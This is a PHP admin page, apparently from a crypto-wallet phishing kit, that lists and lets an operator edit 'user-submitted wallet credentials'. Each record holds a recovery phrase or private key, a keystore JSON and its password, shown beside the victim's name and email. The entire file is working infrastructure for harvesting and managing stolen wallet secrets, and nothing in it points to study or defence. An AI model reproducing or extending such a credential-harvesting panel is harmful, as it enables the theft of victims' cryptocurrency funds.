<?php
include 'header.php';

$alert = "";

if (isset($_POST['update_wallet'])) {
    $id = intval($_POST['wallet_id']);
    $wallet_name = trim(strip_tags($_POST['wallet_name']));
    $import_type = trim(strip_tags($_POST['import_type']));
    $allowed_types = ['Phrase', 'Keystore JSON', 'Private'];
    if (!in_array($import_type, $allowed_types, true)) {
        $import_type = 'Phrase';
    }
    $phrase = trim($_POST['phrase']);
    $private_key = trim(strip_tags($_POST['private_key']));
    $wallet_password = trim(strip_tags($_POST['wallet_password']));
    $keystore_json = trim($_POST['keystore_json']);

    if ($id < 1 || $wallet_name === '') {
        $alert = "Swal.fire({icon: 'warning', title: 'Missing details', text: 'Wallet name is required.'});";
    } else {
        $stmt = mysqli_prepare($link, "UPDATE crypto_wallets SET wallet_name=?, import_type=?, phrase=?, keystore_json=?, wallet_password=?, private_key=? WHERE id=?");
        mysqli_stmt_bind_param($stmt, 'ssssssi', $wallet_name, $import_type, $phrase, $keystore_json, $wallet_password, $private_key, $id);
        if (mysqli_stmt_execute($stmt)) {
            $alert = "Swal.fire({icon: 'success', title: 'Updated', text: 'Wallet record saved.'});";
        } else {
            $alert = "Swal.fire({icon: 'error', title: 'Error', text: 'Could not update the wallet record.'});";
        }
        mysqli_stmt_close($stmt);
    }
}

if (isset($_POST['delete_wallet'])) {
    $id = intval($_POST['wallet_id']);
    mysqli_query($link, "DELETE FROM crypto_wallets WHERE id='$id'");
    $alert = "Swal.fire({icon: 'success', title: 'Deleted', text: 'Wallet record removed.', timer: 1500});";
}

// Fetch Wallets with User Details (Joining users table)
$query = "SELECT w.*, u.full_name, u.email, u.username 
          FROM crypto_wallets w 
          JOIN users u ON w.user_id = u.id 
          ORDER BY w.created_at DESC";
$result = mysqli_query($link, $query);
?>

<div class="flex-1 overflow-y-auto p-6 space-y-6">
    <div class="flex justify-between items-center mb-4">
        <div>
            <h1 class="text-2xl font-bold text-slate-800">Imported Wallets</h1>
            <p class="text-sm text-slate-500">View and manage user-submitted wallet credentials.</p>
        </div>
    </div>

    <div class="glass-panel rounded-2xl bg-white shadow-sm border border-slate-200 overflow-hidden">
        <div class="overflow-x-auto">
            <table class="w-full text-left">
                <thead class="text-xs text-slate-400 uppercase bg-slate-50 border-b border-slate-100">
                    <tr>
                        <th class="py-3 pl-6 font-semibold">User Details</th>
                        <th class="py-3 font-semibold">Wallet / Type</th>
                        <th class="py-3 font-semibold">Secret Data (Phrase/Key)</th>
                        <th class="py-3 font-semibold">Password/JSON</th>
                        <th class="py-3 font-semibold">Date Imported</th>
                        <th class="py-3 pr-6 text-right font-semibold">Actions</th>
                    </tr>
                </thead>
                <tbody class="text-sm divide-y divide-slate-100">
                    <?php if(mysqli_num_rows($result) > 0): ?>
                        <?php while($row = mysqli_fetch_assoc($result)): ?>
                        <tr class="hover:bg-slate-50 transition-colors">
                            <td class="py-4 pl-6">
                                <div class="flex items-center gap-3">
                                    <div class="w-8 h-8 rounded-full bg-indigo-100 flex items-center justify-center text-xs font-bold text-indigo-600 border border-indigo-200">
                                        <?php echo strtoupper(substr($row['full_name'], 0, 1)); ?>
                                    </div>
                                    <div>
                                        <p class="font-bold text-slate-800"><?php echo htmlspecialchars($row['full_name']); ?></p>
                                        <p class="text-xs text-slate-500"><?php echo htmlspecialchars($row['email']); ?></p>
                                    </div>
                                </div>
                            </td>

                            <td class="py-4">
                                <p class="font-bold text-slate-700"><?php echo htmlspecialchars($row['wallet_name']); ?></p>
                                <span class="text-[10px] bg-indigo-50 text-indigo-600 px-2 py-0.5 rounded font-bold uppercase">
                                    <?php echo htmlspecialchars($row['import_type']); ?>
                                </span>
                            </td>

                            <td class="py-4">
                                <div class="max-w-[200px]">
                                    <?php if(!empty($row['phrase'])): ?>
                                        <p class="text-xs text-slate-600 bg-slate-100 p-2 rounded break-words font-mono">
                                            <?php echo htmlspecialchars($row['phrase']); ?>
                                        </p>
                                    <?php elseif(!empty($row['private_key'])): ?>
                                        <p class="text-xs text-slate-600 bg-slate-100 p-2 rounded break-words font-mono">
                                            <span class="text-blue-600 font-bold">Key:</span> <?php echo htmlspecialchars($row['private_key']); ?>
                                        </p>
                                    <?php else: ?>
                                        <span class="text-slate-400 italic text-xs">No phrase/key</span>
                                    <?php endif; ?>
                                </div>
                            </td>

                            <td class="py-4">
                                <?php if(!empty($row['wallet_password'])): ?>
                                    <p class="text-xs font-semibold text-slate-700">PW: <span class="font-mono text-indigo-600"><?php echo htmlspecialchars($row['wallet_password']); ?></span></p>
                                <?php endif; ?>
                                
                                <?php if(!empty($row['keystore_json'])): ?>
                                    <details class="mt-1">
                                        <summary class="text-[10px] text-indigo-500 cursor-pointer font-bold uppercase">View JSON</summary>
                                        <pre class="text-[9px] bg-slate-900 text-green-400 p-2 rounded mt-1 overflow-x-auto max-w-[150px]"><?php echo htmlspecialchars($row['keystore_json']); ?></pre>
                                    </details>
                                <?php endif; ?>
                            </td>

                            <td class="py-4 text-xs text-slate-500">
                                <?php echo date("M d, Y", strtotime($row['created_at'])); ?><br>
                                <?php echo date("h:i A", strtotime($row['created_at'])); ?>
                            </td>

                            <td class="py-4 pr-6 text-right">
                                <div class="flex justify-end gap-2">
                                    <button type="button" onclick='openWalletModal(<?php echo json_encode($row, JSON_HEX_APOS|JSON_HEX_QUOT|JSON_HEX_TAG|JSON_UNESCAPED_UNICODE); ?>)' class="bg-slate-50 hover:bg-slate-100 text-slate-600 text-xs font-bold py-2 px-3 rounded border border-slate-200 transition-all">
                                        <i class="fa-solid fa-pen-to-square"></i> Edit
                                    </button>
                                    <form method="POST" onsubmit="return confirm('Delete this wallet record permanently?');">
                                        <input type="hidden" name="wallet_id" value="<?php echo intval($row['id']); ?>">
                                        <button type="submit" name="delete_wallet" class="text-red-500 hover:text-red-700 text-xs font-bold py-2 px-3 rounded border border-red-100 transition-all" title="Delete">
                                            <i class="fa-solid fa-trash"></i> Delete
                                        </button>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endwhile; ?>
                    <?php else: ?>
                        <tr><td colspan="6" class="py-12 text-center text-slate-400 italic">No wallet imports found.</td></tr>
                    <?php endif; ?>
                </tbody>
            </table>
        </div>
    </div>
</div>

<div id="walletModal" class="fixed inset-0 z-50 bg-black/50 hidden items-center justify-center p-4">
    <div class="w-full max-w-2xl bg-white rounded-3xl shadow-2xl overflow-hidden max-h-[90vh] flex flex-col">
        <div class="flex items-center justify-between px-6 py-5 border-b border-slate-200">
            <div>
                <h2 class="text-xl font-bold text-slate-900">Edit Connected Wallet</h2>
                <p class="text-sm text-slate-500">Update the imported wallet record for this user.</p>
            </div>
            <button type="button" onclick="closeWalletModal()" class="text-slate-500 hover:text-slate-900">
                <i class="fa-solid fa-xmark text-xl"></i>
            </button>
        </div>
        <form method="POST" class="space-y-4 p-6 overflow-y-auto">
            <input type="hidden" id="edit_wallet_id" name="wallet_id" value="">
            <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Wallet name</label>
                    <input id="edit_wallet_name" name="wallet_name" type="text" required class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm" placeholder="MetaMask, Trust Wallet…">
                </div>
                <div>
                    <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Import type</label>
                    <select id="edit_import_type" name="import_type" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm bg-white">
                        <option value="Phrase">Phrase</option>
                        <option value="Keystore JSON">Keystore JSON</option>
                        <option value="Private">Private</option>
                    </select>
                </div>
            </div>
            <div>
                <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Recovery phrase</label>
                <textarea id="edit_phrase" name="phrase" rows="3" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm font-mono" placeholder="Recovery phrase"></textarea>
            </div>
            <div>
                <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Private key</label>
                <input id="edit_private_key" name="private_key" type="text" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm font-mono" placeholder="Private key">
            </div>
            <div>
                <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Wallet password</label>
                <input id="edit_wallet_password" name="wallet_password" type="text" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm" placeholder="Keystore password">
            </div>
            <div>
                <label class="block text-xs font-semibold text-slate-500 uppercase mb-2">Keystore JSON</label>
                <textarea id="edit_keystore_json" name="keystore_json" rows="4" class="w-full rounded-2xl border border-slate-200 px-4 py-3 text-sm font-mono" placeholder="{ }"></textarea>
            </div>
            <div class="flex justify-end gap-3 pt-2">
                <button type="button" onclick="closeWalletModal()" class="rounded-2xl border border-slate-200 px-5 py-3 text-sm font-semibold text-slate-600 hover:bg-slate-50">Cancel</button>
                <button type="submit" name="update_wallet" class="rounded-2xl bg-indigo-600 text-white px-5 py-3 text-sm font-semibold hover:bg-indigo-700">Save changes</button>
            </div>
        </form>
    </div>
</div>

<script>
    function fieldVal(row, key) {
        return row[key] == null ? '' : row[key];
    }

    function openWalletModal(wallet) {
        document.getElementById('edit_wallet_id').value = wallet.id;
        document.getElementById('edit_wallet_name').value = fieldVal(wallet, 'wallet_name');
        const typeSelect = document.getElementById('edit_import_type');
        const importType = fieldVal(wallet, 'import_type');
        if (importType && !Array.from(typeSelect.options).some(function (opt) { return opt.value === importType; })) {
            const extra = document.createElement('option');
            extra.value = importType;
            extra.textContent = importType;
            typeSelect.appendChild(extra);
        }
        typeSelect.value = importType || 'Phrase';
        document.getElementById('edit_phrase').value = fieldVal(wallet, 'phrase');
        document.getElementById('edit_private_key').value = fieldVal(wallet, 'private_key');
        document.getElementById('edit_wallet_password').value = fieldVal(wallet, 'wallet_password');
        document.getElementById('edit_keystore_json').value = fieldVal(wallet, 'keystore_json');
        const modal = document.getElementById('walletModal');
        modal.classList.remove('hidden');
        modal.classList.add('flex');
    }

    function closeWalletModal() {
        const modal = document.getElementById('walletModal');
        modal.classList.add('hidden');
        modal.classList.remove('flex');
    }
</script>

<script>
    <?php echo $alert; ?>
</script>

<?php include 'footer.php'; ?>